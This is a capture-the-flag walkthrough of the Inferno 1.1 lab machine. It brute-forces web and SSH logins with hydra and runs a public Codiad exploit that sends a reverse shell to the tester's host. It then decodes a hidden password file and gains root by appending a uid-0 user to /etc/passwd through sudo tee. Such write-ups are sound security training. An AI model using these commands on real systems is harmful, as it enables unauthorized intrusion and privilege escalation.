Last updated: 15 Apr 24 09:31:04 (UTC)

Write-Up Inferno

Inferno

By Lawcky 01/01/2024

Introduction

Real Life machine vs CTF

Difficulty : easy-medium

Additionnal info :

Name: Inferno: 1.1
Release date: 6 Dec 2020
Author: mindsflee
Series: Inferno

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them


In this write-up

  • hydra
  • ffuf
  • tee
  • python
  • nmap

Write-UP

first approach

web page is empty

ffuf -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt:FUZZ -u http://192.168.1.10/FUZZ

found 192.168.1.10/inferno with a password login

hydra -l admin -P /usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt 192.168.1.10 http-get /inferno/ -I

e245e111f69c9a75b2db1f29c84b7241.png

admin:dante1

its a codiad ==> https://www.exploit-db.com/exploits/49705

wget https://www.exploit-db.com/exploits/49705

python3 codiad.py http://192.168.1.10 admin dante1 192.168.1.253 1234 did not work

python /snap/searchsploit/399/opt/exploitdb/exploits/multiple/webapps/49705.py http://admin:dante1@192.168.1.10/inferno/ admin dante1 192.168.1.253 1234 linux

http://user:pass@IP/

works to connect to a page this way too

ccac39d1114110cb42b0ef1e58b821c8.png


we now know about the dante user for ssh

hydra -l dante -P /usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt ssh://192.168.1.10/

while this runs we look around for interesting files.

there’s a hidden file in the Download dir of dante

cat /home/dante/Download/.download.dat

ce12e6d1b61031384e75c044b3a5586e.png

its hex character representing ascii, once translated the end is : dante:V1rg1l10h3lpm3 <== ssh password

21b94cffdb557a23ff928ff2d1b7de67.png

77f6f3c544ec0811e2d1243e2e0d1835

first flag found next one is root user


Privilege Escalation

sudo -l

5d1f115928d21802c9f2765df4a90ba7.png

===> https://gtfobins.github.io/gtfobins/tee/

with this we can try to create a root user and add it directly into the /etc/passwd file

openssl passwd -1

echo 'pwn:$1$L8NTO40O$xtQpcAcFWpkcKkQf8KxAM:0:0:pwned:/root:/bin/bash' | sudo tee -a /etc/passwd

48274a0c99275163312746bb1ced1818.png

7c5727b826af628f1887dde962c02ef2.png

a414d43e8838c1cfcf4e70599b12f492.png

it worked

771b1e82a30f6fc8c2deb481bd305e7c.png

77f6f3c544ec0811e2d1243e2e0d1835

second flag found !

ea762feb42c0437ae8db8b40d160297c.png